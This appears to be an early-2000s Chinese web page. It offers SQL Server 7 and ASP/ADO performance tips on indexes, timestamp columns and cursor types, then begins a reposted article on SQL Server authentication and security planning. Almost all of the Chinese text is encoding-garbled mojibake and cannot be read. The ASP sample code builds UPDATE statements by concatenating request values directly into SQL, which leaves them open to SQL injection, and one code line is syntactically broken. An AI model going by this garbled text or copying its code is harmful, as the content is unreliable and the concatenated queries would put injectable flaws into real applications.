    ÀýÈ磺ÔÚÒ»¸ö±íÌرð´óµÄʱºò£¨¼¸ÍòÐÐÒÔÉϵģ©£¬¶øÇÒ¾­³£ÐèÒªµÃµ½ÆäÖÐһЩÊý¾ÝµÄ×ܺͣ¬Ã¿Ò»´Î²éѯ¶¼Òª»¨·Ñ¼¸ÃëµÄʱ¼ä£¬Õ⽫½µµÍÊý¾Ý¿âʹÓõÄЧÂÊ¡£ÎÒÃÇ¿ÉÒÔ²ÉÓÃÕâÑùµÄ·½·¨À´½â¾öÕâ¸öÎÊÌâ¡£
    ½«×ܺ͵ÄÐÅÏ¢¼Ç¼ÔÚÁíÍâÒ»ÕűíÖУ¬Ã¿ÌìÍíÉÏÔËÐÐÒ»¸ö³ÌÐò£¨¶¨Ê±´¥·¢£©À´ÇóºÍ·Åµ½±íÖС£Èç¹ûÐèÒª¸ü¿ìµÄµÃµ½×¼È·µÄ×ܺͣ¬Ò²¿ÉÒÔ²ÉÓÃInsert¡¢DeleteºÍUpdate´¥·¢Æ÷À´×ö£¬²»¹ýÕâÑù±È½ÏÓ°ÏìϵͳЧÂÊ£¬Èç¹û±í¸üÐÂƵ·±µÄ»°¡£
   
ÀúÊ·ÐÅÏ¢

    Èç¹ûÒ»¸ö±í¼Ç¼ÁËËùÓеÄÀúÊ·ÐÅÏ¢£¬¶øÓû§ÍùÍùÖ»ÏëÖªµÀ½ü¼¸¸öÔÂÀ´µÄÐÅÏ¢¡£ÕâÑù¿ÉÒ԰ѱí·Ö³É¼¸¸ö£¬Ã¿Õűí¼Ç¼һ¸öÔµÄÐÅÏ¢¡£²»¹ýÕâÑùºÜÂé·³µÄ£¬µ«ÊÇ¿ÉÒÔÓ÷ÖÇøÕâÒ»¸üºÃµÄ°ì·¨À´½â¾öÕâ¸öÎÊÌâ¡££¨Access²»¿ÉÒԵģ©·ÖÇøÊǺ͸´ÖƽôÃÜÏà¹ØµÄ£¬¼òµ¥µÄ˵£¬¾ÍÊǶ¨ÒåÒ»¸ö¸´ÖÆÊÂÎñ£¬¾Í¿ÉÒÔ°´Ê±°Ñ¶àÓàµÄÊý¾Ý£¨±ÈÈç˵ÉϸöÔµÄѽ£©¸´ÖƵ½±ðµÄµØ·½È¥·Å×Å£¬Æ½Ê±³£Óõıí¾ÍÖ»·Å×î½üµÄ¼Ç¼¡£
   
ÆäËü

    Ò»°ãµÄ˵£¬±íµÄÁÐÊý²»Ó¦¸ÃÌ«¶à£¬ÒÔ²»Òª³¬¹ý10¸ö×Ö¶ÎΪÒË¡£
   
ÌØÊâÊý¾ÝÀàÐÍ
±ä³¤Êý¾ÝÀàÐÍ
Varchar ¡¢nvarcharºÍ Varbinary
Ô­ÔòÉÏ£¬ÔÚÊý¾Ý³¤¶È±È½Ï¹Ì¶¨µÄÇé¿öÏÂÒª¾¡Á¿Ê¹Óö¨³¤Êý¾ÝÀàÐÍ¡£ÈçÓÊÕþ±àÂ룬Ӧ¸ÃÓÃchar[6]¶ø²»ÊÇvarchar[6]¡£ÁíÍâÔÚÈßÓàÁ¿²»´óµÄÇé¿öÏ£¬»¹ÊÇÍƼöʹÓö¨³¤Êý¾ÝÀàÐÍ¡£Ô­ÒòºÜ¼òµ¥£¬´æÈ¡²»¶¨³£ÐÍÊý¾ÝµÄ¿ªÏú¸ü´ó¡£

Îı¾ºÍͼÐÎ
Text¡¢nTextºÍImage
ÕâÁ½ÖÖÊý¾ÝÀàÐͲ»ÄÜÓÃË÷Òý¡¢¾Ö²¿±äÁ¿¡¢ÄÚ½¨º¯Êý¡¢ÊýѧÔËËã·û¡¢Order By¡¢ Group By
ÔÚÒÔÇ°°æ±¾µÄSQL ServerÀïÃ棬ÕâÑùµÄÊý¾ÝÀàÐÍÈç¹û·ÅºÜÉÙµÄÄÚÈÝ£¬½«»áÔì³ÉºÜ´óµÄ¿Õ¼äµÄÀË·Ñ£¬µ«ÊÇÏÖÔÚSQL 7ÒѾ­½ÏºÃµÄ½â¾öÁËÕâ¸öÎÊÌâ¡£

Uniqueidentifier
ÕâÊÇÒ»¸öSQL 7ÐÂÔöµÄ×Ö¶ÎÀàÐÍ£¬¿ÉÄÜ´ó¼Ò²»ÊÇÌ«ÊìϤ£¬ËùÒÔÒ²½éÉÜһϣº
Ëü¼Ç¼µÄÊÇÒ»¸öÈ«ÇòΨһ±êÖ¾(GUID)£¬¾ÍÏóÎÒÃdz£¼ûµ½µÄCLSIDÄÇÑù
    00020803-0000-0000-C000-000000000046
    D54EEE56-AAAB-11D0-9E1D-00A0C922E6EC
ÓÐÒ»¸öº¯Êý¿ÉÒÔ²úÉúеÄGUID£º NewID()
   
TimeStamp
ÔÚ¡¶Êý¾Ý¿â̽ÌÖ¡·ÀïÃæ¾­³£·¢ÏÖÓÐÈË°ÑÕâ¸ö×ֶε±×ö·Åʱ¼äµÄÁË£¬ËùÒÔ»¹ÊÇ˵Ã÷һϡ£
ËüÊÇÒ»°ãÓÃÓÚÏÔʾSQL Server¸ü¸Ä¼Ç¼µÄ˳Ðò£¬ÊÇÓÐÒ»¸ö½¥ÔöµÄ8 byteµÄbinaryÊý¾Ý±íʾ£¬µ±Ò»Ìõ¼Ç¼±»²åÈë»òÕß±»Ð޸ĵÄʱºò£¬Êý¾Ý¿âÒýÇæ¾Í»á°Ñ´Ó@@DBTSº¯ÊýÖеõ½µÄÖµÀ´¸üÐÂtimestamp×ֶΡ£ÕâÖÖ×Ö¶ÎÀàÐÍÓÐÒ»¸ö³£¼ûµÄÓÃ;¾ÍÊÇ·ÀÖ¹Ò»Ìõ¼Ç¼±»Á½¸öÈËÐ޸ġ£
Example:
Ò»°ãÔÚÎÒÃǸüÐÂijÌõ¼Ç¼µÄʱºò£¬ÎÒÃÇ»áʹÓÃÒ»¸öIDÖ®ÀàµÄÖ÷¹Ø¼ü×Ö×÷Ϊ¸üÐÂÌõ¼þ¡£
editAnnounce.asp²¿·Ö´úÂë[°æÖ÷±à¼­Ìû×Ó]

Response.Write "<input type='hidden' name='announceID' value='" & CStr(announceID) & "'>" & vbCrLf

ÆäÖÐʹÓÃannounceID×÷Ϊ²ÎÊý´«µÝ¸øÏÂÒ»¸öÒ³Ã棬¶øÔÚÏÂÒ»¸öÒ³ÃæÖÐÖ´ÐÐ

objConn.Execute("Update Announce Set Topic = '" & strTopic ... & " Where announceID = " & announceID)

ÕâÑùµÄ»°¾Í´æÔÚÒ»¸öÎÊÌ⣬¼ÙÉèmoslemÔڸĶ¯Ä³¸öÌû×Ó£¬¶ømorningÔÚmoslem»¹Ã»±£´æ¸Ä¶¯µÄʱºòÒ²ÔÚ¸ÄÕâ¸öÌû×Ó£¬ÄÇôÏȸĶ¯µÄÈË×öµÄ¸Ä¶¯¾Í»á±»¸²¸Çµô£¬ÎªÁ˱ÜÃâÕâÖÖÇé¿ö£¬ÎÒÃÇ¿ÉÒÔ²ÉÓÃÕâÑùµÄ·½·¨¡£

Response.Write "<input type='hidden' name='announceID' value='" & CStr(announceID) & "'>" & vbCrLf & "<input type='hidden' name='timestamp' value='" & rs("ts" & "'>" 'tsÊÇÒ»¸ötimestampÀàÐ͵Ä×Ö¶Î

objConn.Execute "Update Announce Set Topic = '" & strTopic ... & " Where announceID = " & announceID & " and ts = " & timestamp, i
If i = 0 Then Response.Write "Ìû×ÓÒѱ»È˸Ķ¯£¬ÇëË¢ÐÂÉÏÒ»¸öÒ³Ãæ"

timestampµÄֵʵ¼ÊÉϸúʱ¼ä²¢Ã»ÓÐʲô¹Øϵ£¬ÒªÏë×Ô¶¯¼Ç¼ʱ¼ä£¬»¹ÊÇÓÃÒ»¸ödatetime ×ֶΣ¬È±Ê¡Öµ¸³Îªgetdate()µÄºÃ£¬Èç¹ûÏë¼Ç¼ÿ´ÎÐ޸ĵÄʱ¼ä£¬¿ÉÒÔÔÚ´¥·¢Æ÷ÀïÃæÓÃgetdate()È¡µÃʱ¼ä¡£
   
Ö÷¹Ø¼ü×ÖºÍË÷Òý
ºÜ¸´ÔÓ£¬È´ÓֺܹؼüµÄÎÊÌâ¡£ÕæµÄÒªÑÐÌÖÈçºÎ½¨Á¢×îÓŵÄË÷ÒýµÄ»°£¬×ã¿ÉÒÔдºÜºñµÄÒ»±¾Ê飬¶øÇÒÎÒ²»Ò»¶¨Ð´µÃÁË
8-)¡£È»¶ø²»Òªº¦Å£¬Õâ²»µÈÓÚÎÒÃÇû·¨ÍµÀÁ£¬(sql 7.0µÄ³¡ºÏÏÂ)¼òµ¥¶øÓִպϵIJßÂÔ»¹ÊÇÓеģº
   
²»ÒªÏ¹½¨Ë÷Òý¡£Î¹£¬ÄÇË­£¬ÏȱðЦ£¡µÄÈ·ÓкܶàÈ˽¨Ë÷ÒýÓá°·É»ú²¥ÖÖ¡±·¨£¬Ô»¡±·´Õý×ÜÓÐÓõÃ×ŵġ°¡£ÕâÊÇÊ×ÏÈÒª±ÜÃâµÄ¡£ÒòΪ£¬µÚÒ»¡±ÓõÃ×Å¡°µÄ¶«Î÷²»¼ûµÃÊÇ¡±×îÓÐÓᰵģ¬µÚ¶þ¡°Óò»×Å¡±µÄË÷Òý»áÏûºÄ´óÁ¿¿Õ¼ä²¢ÑÏÖؽµµÍ²å£¬É¾£¬£¨Ï൱µÄ£©¸Ä²Ù×÷µÄÐÔÄÜ¡£
   
²»ÒªËæ±ãÓþۺÏË÷Òý£¬±ÈÈç×ÜÊǰѾۺÏË÷ÒýȱʡµØÓÃÔÚÖ÷keyÉÏ¡£Ò»¸ö±íÖ»ÄÜÓÐÒ»¸ö¾ÛºÏË÷Òý£¬Òª°ÑÕâºÃ¸ÖÓÃÔÚµ¶ÈÐÉÏ¡£Ïê¼ûºóÊö¡£  
   
UNIQUEÊǷdz£ÖØÒªµÄÐÅÏ¢£¬Èç¹ûÄܼÓÒ»¶¨Òª¼ÓÉÏ¡£Ç§Íò²»ÒªÒÔΪidentityÖ®ÀàµÄÁÐÉϽ¨Ë÷Òý,sql server»á×Ô¶¯µØÈÏΪÊÇUNIQUE¡£Èí¼þÕâÖÖ¶«Î÷£¬ÄþÐÅÆäÓÞ²»ÐÅÆäÖÇ£¬ µ«ÊÇ£¬ÏàÐÅÎÒ£¬Ã»´íµÄ8-)¡£
   
дsqlʱ¶àÓÃwisql£¬ÉÙÓø÷ÖÖ»­°åwizardÖ®ÀàµÄ¡£ÏȲ»Òª¡°ß×£¿¡± £¬ÎÒûÓÐÅÜÌ⣬ÏàÐÅÎÒ£¬Ã»´íµÄ(ÎÒÕâÈËÊDz»ÊÇÓе㷳£¿8-)¡£wisql ÏÖÔÚ×Ô³ÆÊÇ¡°²éѯ·ÖÎöÕß(Query Analyzer)¡±£¬×ܵÃÓеãµÀµÀ8¡£ÄǾÍÊÇshow planºÍË÷Òý½¨Ò飨sql 7.0й¦ÄÜ£©¡£show plan¸æËßÄã¸Ã´Î²éѯµÄÖ´Ðз½°¸ºÍ¿ªÏú£¬Ë÷Òý½¨ÒéÔòÊÇÓÉsql serverÀ´·ÖÎöÄãµÄ²éѯ£¬²¢Ìṩ½¨Ë÷Òý½¨Òé¡£ËùÒÔ£¬ËùÒÔ£¬¾¡Á¿ÔÚwisqlÀï±àдµ÷ÊÔsql£¬¶ÔÓÚÄÇЩƵ·±Ö´ÐеÄsql£¬ÓÐʱûʵØshow planһϣ¬¸ôÈý²îÎåµØ¿´Ò»°ÑË÷Òý½¨Ò飬Äã»áÕÒµ½ÊʺÏÄãÐèÒªµÄË÷Òý¡£µ«ÊÇ£º
   
Ë÷Òý½¨Òé×ÜÊǽ¨ÒéÔì·Ç¾ÛºÏË÷Òý£¬Ê²Ã´Ê±ºòÓþۺÏË÷ÒýÕâµÃÓÉÄã×Ô¼ºÀ´¾ö¶¨¡£Èç¹û·ûºÏÏÂÁÐÌõ¼þÖ®Ò»£¬ÄãÓ¦¸Ã¿¼ÂÇÓþۺÏË÷Òý¡£Ò»£º½á¹û¼¯ºÜ´ó¡£¶þ£º¼ìË÷Ìõ¼þÖÐÓС°·¶Î§¡±Ìõ¼þ£¬¼´<,>,betweenÖ®ÀàµÄ¡£Èý£ºÐèÒª½á¹û¼¯group by ºÍ/»òorder by¡£ÁíÒ»·½Ã棬Èç¹ûij¸öÁеı䶯ºÜƵ·±£¬Ôò²»ÒËÔÚ¸ÃÁÐÉϽ¨¾ÛºÏË÷Òý¡£µ½µ×Ôõô¶¨£¬»¹ÊÇÒªÈÃÊÂʵ˵»°£¬ÓÃshow plan±È½Ïһϸ÷ÖÖ·½°¸µÄ²îÒì×ÜÊÇÓбØÒªµÄ¡£
   
¶ÔÓÚlike '%xxx%'µÄ²éѯ£¬ÆÕͨµÄË÷ÒýÆð²»ÁË×÷Ó㬿ÉÒÔʹÓÃFullText Search

Return to Top

Cursors
    Ê×ÏÈ£¬ÎÒÃÇÒª¾¡Á¿±ÜÃâÔÚ·þÎñÆ÷ÉÏʹÓôóµÄÓα꣬ËùÒÔÔÚÖ´ÐÐһЩûÓзµ»Ø½á¹ûµÄÓï¾äʱ£¬²»Òª·µ»Ø½á¹û¼¯¡£
Example:
objConn.Execute "update table set field = field + 1", iRecordsAffected, adCmdText + adExecuteNoRecords
    µ«ÊÇÓÉÓÚÒªµÃµ½½á¹û¼¯¡¢¼Ç¼×ÜÊý¡¢¸üÐÂÊý¾ÝµÈµÄʱºò£¬¿¼ÂDZÜÃ⸴Ôӵıà³Ì£¨±ÈÈçʹÓÃRecordset.RecordCountºÍRecordset.Update£©£¬ÒªÊ¹Óò»Í¬µÄÓα꣬·ñÔò½«ÎÞ·¨µÃµ½ÕýÈ·µÄÖ´Ðнá¹û£¬ÏÂÃæÎÒÃÇÀ´¿´Ò»Ï²»Í¬ÓαêÖ®¼äµÄÇø±ð¡£
¡¡ Server Side Cursor Client Side Cursor
ʹÓ÷½·¨object.
CursorLocation = adUseServer adUseClient
ʵÏÖ·½Ê½ ÓαêÔªÊý¾ÝÓÉSQL ServerÌṩ ÓαêÔªÊý¾ÝÓÉOLEDB providerÓαê¿âÌṩ
ϵͳ¿ªÏú ½Ï¸ßµÄ·þÎñÆ÷¶Ë¿ªÏú£¬½ÏµÍµÄ¿Í»§¶Ë¿ªÏú ½ÏµÍµÄ·þÎñÆ÷¶Ë¿ªÏú£¬½Ï¸ßµÄ¿Í»§¶Ë¿ªÏú
ÍøÂçÍù·µ ½ÏÉÙµÄÍøÂçÍù·µ ½Ï¶àµÄÍøÂçÍù·µ
Êý¾Ý¿âÏÞÖÆ ÓëSQL Server½ôÃܼ¯³É ¿ÉÒÔºÍÈκÎÊý¾Ý¿âÒ»Æð¹¤×÷
ÆäËü ÊÇSQL ServerÓ¦ÓóÌÐòµÄͨ³£Ñ¡Ôñ ±È½ÏÁé»îºÍ²»ÊÜÏÞÖÆ£¬µ«Ð§ÂʽϵÍ

¡¡ ForwardOnly Static Keyset Dynamic
ʹÓ÷½·¨Recordset.
CursorType = adOpenForwardOnly adOpenStatic adOpenKeyset adOpenDynamic
ʵÏÖ·½Ê½ Ö±½ÓÔÚ»ù±íÉϲÙ×÷ ÔÚTempdbÖÐΪÓαê¼Ç¼½¨Á¢Ò»¸ö¿ìÕÕ ÔÚTempdbÖÐΪÓαê¼Ç¼½¨Á¢Ò»¸ö¶ÔÓ¦µÄKeyset Ö±½ÓÔÚ»ù±íÉϲÙ×÷
½¨Á¢¿ªÏú ×îµÍ ×î¸ß£¨¿¼ÂÇÒì²½Èë¿Ú£© ¸ß£¨µ±½á¹û¼¯ºÜ´óʱ¿¼ÂÇÒì²½Èë¿Ú£© µÍ£¨¶à±íÁ¬½Ó»áÓ°ÏìÐÔÄÜ£©
·ÃÎÊ¿ªÏú ×îµÍ µÍ ×î¸ß ¸ß
¿É·ñ¸üР·ñ ·ñ ÊÇ ÊÇ
¹ö¶¯·½Ê½ ÏòÇ°»òµ½ÆðʼλÖà ÔÊÐíÈÎÒâ¹ö¶¯·½Ê½ ÔÊÐíÈÎÒâ¹ö¶¯·½Ê½ ÔÊÐíÈÎÒâ¹ö¶¯·½Ê½£¨Ö»ÏòÇ°¹ö¶¯¿ÉÒÔÌá¸ßÐÔÄÜ£©
ÊÇ·ñ¿É·´Ó³Êý¾ÝµÄ¸Ä±ä ÊÇ ·ñ ¿ÉÒÔ·´Ó³Êý¾ÝµÄ¸ü¸Ä£¬µ«²»ÄÜ·´Ó³Êý¾ÝµÄÔö¼Ó ÊÇ
AbsolutePage ÎÞЧ ¶Á/д ¶Á/д ÎÞЧ
AbsolutePosition ÎÞЧ ¶Á/д ¶Á/д ÎÞЧ
Bookmark ÎÞЧ ¶Á/д ¶Á/д ÎÞЧ
PageCount ÎÞЧ Ö»¶Á Ö»¶Á ÎÞЧ
RecordCount ÎÞЧ Ö»¶Á Ö»¶Á ÎÞЧ
Clone ÎÞЧ ÓÐЧ ÓÐЧ ÎÞЧ
Resync ÎÞЧ ÓÐЧ ÓÐЧ ÎÞЧ
¡¡ ¡¡ ¡¡ ¡¡ ¡¡
ASP Codes
Ê×ÏÈÔÙÌáÒ»ÏÂPooling PoolµÄÎÊÌ⣬ÎҼǵÃÒÔǰ˵¹ýÊÇÓ¦¸ÃÓÃÊͷŵ«²»¹Ø±ÕConnection¶ÔÏóµÄ·½Ê½À´Ê¹Óûº³å³Ø£¬ºóÀ´ÎÒ·¢ÏÖÕâÖÖ×ö·¨ÊÇ´íÎóµÄ£¬ASPÊÇ×Ô¶¯Ê¹Óûº³å³ØµÄ£¬ÕÕ³£¹Ø±ÕºÍÊÍ·ÅConnection¶ÔÏó¾Í¿ÉÒÔÁË£¬Ôڴ˾ϹªÖÂǸ£¡
   
·ÃÎʽá¹û¼¯µÄʱºò£¬Ê¹ÓÃIndex(objRS(0))±ÈʹÓÃName(objRS("ID")Òª¿ìÒ»¶¡µã¶ù£¬µ«ÊǻήµÍ´úÂëµÄ¿É¶ÁÐÔ£¬ËäȻҲ¿ÉÒÔ°ÑName¶¨Òå³ÉÒ»¸öÊý×ֵij£Á¿£¬²»¹ýÒ²¹ÖÂé·³µÄ¡£
   
¾¡Á¿ÉÙʹÓü¸¸ö¶ÔÏó£¬ADOºÍDAOµÈÒ»¸öÏÔÖøµÄÇø±ð¾ÍÊÇ¿ÉÒÔ¶ÀÁ¢µÄ´´½¨¶ÔÏ󣬶ø²»ÐèÒªÖ𼶽¨Á¢¶ÔÏó£¬Äã¿ÉÒÔÖ»½¨Á¢ÄãÐèÒªµÄ¶ÔÏó£¬ÕâÑù¿ÉÒÔ¼õÇáADOµÄ¸ºµ£ºÍ´úÂëµÄÊýÁ¿£¨ÕâÒâζ×ųÌÐòµÄ¿É¿¿ÐÔÔö¼ÓÁË£©£¬±ÈÈçÄã²»ÔÙÐèÒª½¨Á¢Command Object£¬¶ø¿ÉÒÔÖ±½Ó´ÓConnection ObjectµÄ Execute MethodµÃµ½Ò»¸öRecordset Object£¬»òÕßʹÓÃRecordset µÄ Open Method¡£
   
ÁíÍâ˵Ã÷Ò»µã£¬ADOÖÐʹÓõij£Á¿ÔÚASPÖÐÊÇûÓж¨ÒåµÄ£¨ÔÚVBÖпÉÒÔÖ±½ÓʹÓã©£¬ÐèÒªÒýÓÃadovbs.inc£¬¶øÇÒһЩADO 2.1Öеij£Á¿ÔÚÀïÃæûÓУ¬ÐèÒª×ÔÐÐÌí¼Ó£¬ÐµÄadocbs.inc¿ÉÒÔÔÚÕâÀïÏÂÔØhttp://www.chinaasp.com/user/luc ... ùÓ°Ïì´úÂëµÄ¿É¶ÁÐÔ¡£
   
ÔÚÁ¬½Óµ½Êý¾Ý¿âµÄʱºò£¬×îºÃ²»ºÃʹÓÃDSN£¬¸ü²»ÒªÊ¹ÓÃÎļþDSN£¬ÔÚÖ¸¶¨Êý¾Ý¿â·þÎñÆ÷·¾¶µÄʱºò£¬×îºÃʹÓÃÃüÃû¹ÜµÀ¶ø²»ÊÇTCP/IP£¬»¹ÓУ¬ÒÔÇ°Ò²Ìáµ½¹ý×îºÃ¸ù¾Ý²»Í¬µÄÊý¾Ý¿âʹÓÃÏàÓ¦µÄProvider¡£
   
²»½öÊÇADOµÄ¶ÔÏ󣬽¨Á¢µÄÿһ¸ö¶ÔÏó¶¼Ó¦¸ÃÊͷŵô(Set Object = Nothing)£¬·ñÔò¶àÓÃÒ»¶Îʱ¼äIIS¾Í¸Ã³ö´íÁË¡£
   
ADO 2.1ÓÐÒ»¸öз½·¨£¬ÀàËÆÓÚRDOµÄGetClipString£¬¿ÉÒÔÓÃÓÚÏÔʾ¼Ç¼¼¯µÄÈ«²¿»ò²¿·ÖÁв¢¼ÓÉÏ·Ö¸ô·û¡£
Recordset.GetString(adClipString, NumRows, ColumnDelimiter, RowDelimiter, NullExpr)
Example:
    Response.Write objRs.GetString(adClipString, -1, "</TD><TD>", "</TR><TR><TD>", "  "
   
Êʵ±Ìá¸ßRecordset.CacheSizeµÄÊýÖµ¿ÉÒÔ¼ÓËÙÊý¾ÝµÄ·ÃÎÊ£¬CacheSizeµÄĬÈÏÖµÊÇ1£¬¿ÉÒÔÌá¸ßµ½30»òÕß50
   
½¨ÒéʹÓÃTopÓï¾äÀ´¿ØÖÆ·µ»ØµÄ¼Ç¼¼¯µÄÐÐÊý
   
ʹÓÃǶÌײéѯÀ´¼õÉÙ·ÃÎÊÊý¾Ý¿âµÄ´ÎÊý
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 13:25
¡¾ SQL Server°²È«¹æ»®È«¹¥ÂÔ(תÔØ) ¡¿  
£Û ×÷ÕߣºØýÃû    תÌù×Ô£º±¾Õ¾Ô­´´    µã»÷Êý£º6    ¸üÐÂʱ¼ä£º2003-12-12    ÎÄÕ¼È룺µçÄÔ½Ì³Ì £Ý

ÔڸĽøSQL Server 7.0ϵÁÐËùʵÏֵݲȫ»úÖƵĹý³ÌÖУ¬Microsoft½¨Á¢ÁËÒ»ÖÖ¼ÈÁé»îÓÖÇ¿´óµÄ°²È«¹ÜÀí»úÖÆ£¬ËüÄܹ»¶ÔÓû§·ÃÎÊSQL Server·þÎñÆ÷ϵͳºÍÊý¾Ý¿âµÄ°²È«½øÐÐÈ«ÃæµØ¹ÜÀí¡£°´ÕÕ±¾ÎĽéÉܵIJ½Ö裬Äã¿ÉÒÔΪSQL Server 7.0£¨»ò2000£©¹¹Ôì³öÒ»¸öÁé»îµÄ¡¢¿É¹ÜÀíµÄ°²È«²ßÂÔ£¬¶øÇÒËüµÄ°²È«ÐÔ¾­µÃÆð¿¼Ñé¡£
Ò»¡¢ÑéÖ¤·½·¨Ñ¡Ôñ
±¾ÎĶÔÑéÖ¤£¨authentication£©ºÍÊÚȨ£¨authorization£©ÕâÁ½¸ö¸ÅÄî×÷²»Í¬µÄ½âÊÍ¡£ÑéÖ¤ÊÇÖ¸¼ìÑéÓû§µÄÉí·Ý±êʶ£»ÊÚȨÊÇÖ¸ÔÊÐíÓû§×öЩʲô¡£ÔÚ±¾ÎĵÄÌÖÂÛÖУ¬ÑéÖ¤¹ý³ÌÔÚÓû§µÇ¼SQL ServerµÄʱºò³öÏÖ£¬ÊÚȨ¹ý³ÌÔÚÓû§ÊÔͼ·ÃÎÊÊý¾Ý»òÖ´ÐÐÃüÁîµÄʱºò³öÏÖ¡£

¹¹Ô찲ȫ²ßÂԵĵÚÒ»¸ö²½ÖèÊÇÈ·¶¨SQL ServerÓÃÄÄÖÖ·½Ê½ÑéÖ¤Óû§¡£SQL ServerµÄÑéÖ¤ÊÇ°ÑÒ»×éÕÊ»§¡¢ÃÜÂëÓëMasterÊý¾Ý¿âSysxlogins±íÖеÄÒ»¸öÇåµ¥½øÐÐÆ¥Åä¡£Windows NT/2000µÄÑéÖ¤ÊÇÇëÇóÓò¿ØÖÆÆ÷¼ì²éÓû§Éí·ÝµÄºÏ·¨ÐÔ¡£Ò»°ãµØ£¬Èç¹û·þÎñÆ÷¿ÉÒÔ·ÃÎÊÓò¿ØÖÆÆ÷£¬ÎÒÃÇÓ¦¸ÃʹÓÃWindows NT/2000ÑéÖ¤¡£Óò¿ØÖÆÆ÷¿ÉÒÔÊÇWin2K·þÎñÆ÷£¬Ò²¿ÉÒÔÊÇNT·þÎñÆ÷¡£ÎÞÂÛÔÚÄÄÖÖÇé¿öÏ£¬SQL Server¶¼½ÓÊÕµ½Ò»¸ö·ÃÎʱê¼Ç£¨Access Token£©¡£·ÃÎʱê¼ÇÊÇÔÚÑéÖ¤¹ý³ÌÖй¹Ôì³öÀ´µÄÒ»¸öÌØÊâÁÐ±í£¬ÆäÖаüº¬ÁËÓû§µÄSID£¨°²È«±êʶºÅ£©ÒÔ¼°Ò»ÏµÁÐÓû§ËùÔÚ×éµÄSID¡£ÕýÈç±¾ÎĺóÃæËù½éÉܵģ¬SQL ServerÒÔÕâЩSIDΪ»ù´¡ÊÚÓè·ÃÎÊȨÏÞ¡£×¢Ò⣬²Ù×÷ϵͳÈçºÎ¹¹Ôì·ÃÎʱê¼Ç²¢²»ÖØÒª£¬SQL ServerֻʹÓ÷ÃÎʱê¼ÇÖеÄSID¡£Ò²¾ÍÊÇ˵£¬²»ÂÛÄãʹÓÃSQL Server 2000¡¢SQL Server 7.0¡¢Win2K»¹ÊÇNT½øÐÐÑéÖ¤¶¼Î޹ؽôÒª£¬½á¹û¶¼Ò»Ñù¡£

Èç¹ûʹÓÃSQL ServerÑéÖ¤µÄµÇ¼£¬Ëü×î´óµÄºÃ´¦ÊǺÜÈÝÒ×ͨ¹ýEnterprise ManagerʵÏÖ£¬×î´óµÄȱµãÔÚÓÚSQL ServerÑéÖ¤µÄµÇ¼ֻ¶ÔÌض¨µÄ·þÎñÆ÷ÓÐЧ£¬Ò²¾ÍÊÇ˵£¬ÔÚÒ»¸ö¶à·þÎñÆ÷µÄ»·¾³ÖйÜÀí±È½ÏÀ§ÄÑ¡£Ê¹ÓÃSQL Server½øÐÐÑéÖ¤µÄµÚ¶þ¸öÖØÒªµÄȱµãÊÇ£¬¶ÔÓÚÿһ¸öÊý¾Ý¿â£¬ÎÒÃDZØÐë·Ö±ðµØΪËü¹ÜÀíȨÏÞ¡£Èç¹ûij¸öÓû§¶ÔÁ½¸öÊý¾Ý¿âÓÐÏàͬµÄȨÏÞÒªÇó£¬ÎÒÃDZØÐëÊÖ¹¤ÉèÖÃÁ½¸öÊý¾Ý¿âµÄȨÏÞ£¬»òÕß±àд½Å±¾ÉèÖÃȨÏÞ¡£Èç¹ûÓû§ÊýÁ¿½ÏÉÙ£¬±ÈÈç25¸öÒÔÏ£¬¶øÇÒÕâЩÓû§µÄȨÏޱ仯²»ÊǺÜƵ·±£¬SQL ServerÑéÖ¤µÄµÇ¼»òÐíÊÊÓᣵ«ÊÇ£¬ÔÚ¼¸ºõËùÓеÄÆäËûÇé¿öÏ£¨ÓÐһЩÀýÍâÇé¿ö£¬ÀýÈçÖ±½Ó¹ÜÀí°²È«ÎÊÌâµÄÓ¦Óã©£¬ÕâÖֵǼ·½Ê½µÄ¹ÜÀí¸ºµ£½«³¬¹ýËüµÄÓŵ㡣

¶þ¡¢Web»·¾³ÖеÄÑéÖ¤
¼´Ê¹×îºÃµÄ°²È«²ßÂÔÒ²³£³£ÔÚÒ»ÖÖÇéÐÎÇ°Çü·þ£¬ÕâÖÖÇéÐξÍÊÇÔÚWebÓ¦ÓÃÖÐʹÓÃSQL ServerµÄÊý¾Ý¡£ÔÚÕâÖÖÇéÐÎÏ£¬½øÐÐÑéÖ¤µÄµäÐÍ·½·¨ÊÇ°ÑÒ»×éSQL ServerµÇ¼Ãû³ÆºÍÃÜÂëǶÈëµ½Web·þÎñÆ÷ÉÏÔËÐеijÌÐò£¬±ÈÈçASPÒ³Ãæ»òÕßCGI½Å±¾£»È»ºó£¬ÓÉWeb·þÎñÆ÷¸ºÔðÑéÖ¤Óû§£¬Ó¦ÓóÌÐòÔòʹÓÃËü×Ô¼ºµÄµÇ¼ÕÊ»§£¨»òÕßÊÇϵͳ¹ÜÀíÔ±saÕÊ»§£¬»òÕßΪÁË·½±ãÆð¼û£¬Ê¹ÓÃSysadmin·þÎñÆ÷½ÇÉ«ÖеĵǼÕÊ»§£©ÎªÓû§·ÃÎÊÊý¾Ý¡£

ÕâÖÖ°²ÅÅÓм¸¸öȱµã£¬ÆäÖÐ×îÖØÒªµÄ°üÀ¨£ºËü²»¾ß±¸¶ÔÓû§ÔÚ·þÎñÆ÷ÉϵĻ½øÐÐÉóºËµÄÄÜÁ¦£¬ÍêÈ«ÒÀÀµÓÚWebÓ¦ÓóÌÐòʵÏÖÓû§ÑéÖ¤£¬µ±SQL ServerÐèÒªÏÞ¶¨Óû§È¨ÏÞʱ²»Í¬µÄÓû§Ö®¼ä²»Ò×Çø±ð¡£Èç¹ûÄãʹÓõÄÊÇIIS 5.0»òÕßIIS 4.0£¬Äã¿ÉÒÔÓÃËÄÖÖ·½·¨ÑéÖ¤Óû§¡£µÚÒ»ÖÖ·½·¨ÊÇΪÿһ¸öÍøÕ¾ºÍÿһ¸öÐéÄâĿ¼´´½¨Ò»¸öÄäÃûÓû§µÄNTÕÊ»§¡£´Ëºó£¬ËùÓÐÓ¦ÓóÌÐòµÇ¼SQL Serverʱ¶¼Ê¹Óøð²È«»·¾³¡£ÎÒÃÇ¿ÉÒÔͨ¹ýÊÚÓèNTÄäÃûÕÊ»§ºÏÊʵÄȨÏÞ£¬¸Ä½øÉóºËºÍÑéÖ¤¹¦ÄÜ¡£

